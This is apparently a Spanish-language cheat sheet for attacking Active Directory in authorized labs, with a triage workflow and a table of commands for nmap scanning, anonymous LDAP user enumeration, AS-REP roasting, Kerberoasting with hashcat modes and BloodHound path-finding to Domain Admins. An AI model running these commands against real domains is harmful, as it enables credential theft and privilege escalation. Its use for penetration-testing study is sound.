

Active Directory

Solo para laboratorios autorizados. Sustituye variables, confirma versión y guarda salida.

Decisión rápida

1. Confirma alcance, identidad y conectividad.
2. Parte de una señal; no ejecutes toda la tabla.
3. Predice salida y prepara un control negativo.
4. Ejecuta la prueba menos intrusiva.
5. Registra evidencia y vuelve al módulo si falla.

Señales

- Puertos 88, 389, 445, 636, 3268 abiertos en el mismo host.
- nmap/enum filtra un nombre de dominio (algo.local) y el hostname del DC.
- Puertos 389/636 abiertos junto a 88 (Kerberos) y 445 (SMB): confirma que es un DC.
- Ldapsearch sin credenciales (bind anonimo) devuelve resultados en vez de error de autenticacion.
- GetNPUsers devuelve hashes \$krb5asrep\$ (hay usuarios sin preauth).
- GetUserSPNs lista cuentas de servicio con SPN y devuelve \$krb5tgt\$.
- Aristas 'GenericAll', 'WriteDACL', 'ForceChangePassword' hacia grupos privilegiados.
- Sesiones de un admin en una maquina donde tu tienes acceso.

Comandos y pruebas

Prueba	Objetivo/contexto	Evidencia esperada
<code>nmap -sC -sV -Pn -p 53,88,135,139,389,445,464,636,3268,5985 \$IP</code>	Escanea los puertos típicos de un DC de una vez. La combinación 88+389+445 confirma que estás ante un dominio y no una máquina suelta.	Puerto 88 abierto = DC. Los scripts LDAP/SMB filtran el nombre del dominio y del DC: anótalos para /etc/hosts antes de seguir.
<code>ldapsearch -x -H ldap://\$IP -s base namingcontexts</code>	Bind anónimo (-x sin credenciales) pidiendo el naming context base. Es la prueba mínima: si responde, el bind anónimo está permitido.	Un defaultNamingContext tipo DC=corp,DC=local. Confirma el nombre del dominio y que puedes seguir consultando sin credenciales.
<code>ldapsearch -x -H ldap://\$IP -D '' -w '' -b 'DC=corp,DC=local' '(objectClass=user)'</code>	Con el naming context ya conocido, pide todos los objetos de tipo usuario vía bind anónimo. Es la enumeración completa de usuarios sin credenciales.	Una lista de usuarios del dominio con sus atributos visibles. Extrae los nombres para spraying o Kerberoasting.
<code>impacket-GetNPUsers \$DOMAIN/ -usersfile users.txt -no-pass -dc-ip \$IP</code>	AS-REP roasting sin credenciales: pide tickets para usuarios con preauth desactivada. Solo necesitas la lista de usuarios y la IP del DC.	Hashes \$krb5asrep\$ para los usuarios vulnerables. Cada uno es crackeable offline (hashcat -m 18200). Sin salida = nadie tiene preauth desactivada.
<code>impacket-GetUserSPNs \$DOMAIN/\$USER:\$PASS -dc-ip \$IP -request</code>	Kerberoasting: con una credencial de dominio pides los tickets de las cuentas de servicio. Esas cuentas suelen tener passwords débiles y muchos permisos.	Hashes \$krb5tgs\$ junto al nombre del servicio. Prioriza los que parezcan admin; crackea con hashcat -m 13100.
<code>bloodhound-python -d \$DOMAIN -u \$USER -p \$PASS -c all -ns \$IP --zip</code>	Recolecta todo el grafo del dominio con una sola credencial, sin necesidad de pisar una máquina Windows. -c all junta toda la información; --zip lo deja listo para importar.	Un .zip para arrastrar a la GUI de BloodHound. Allí marca tu usuario como owned y lanza la consulta de rutas a Domain Admins.

Diagnóstico

Síntoma	Comprobar
Sin respuesta	ruta, DNS, puerto, listener y firewall
Rechazo	sintaxis, credenciales, permisos y versión
Salida distinta	control negativo, caché y estado
Resultado parcial	identidad efectiva y precondiciones

Cierre

- Guardar comando adaptado y salida.
- Anotar qué confirma y qué no.
- No persistir secretos en notas compartidas.
- Restaurar cambios del laboratorio.

Fuente operativa: conceptos de Fieldbook. Método: construcción de payloads.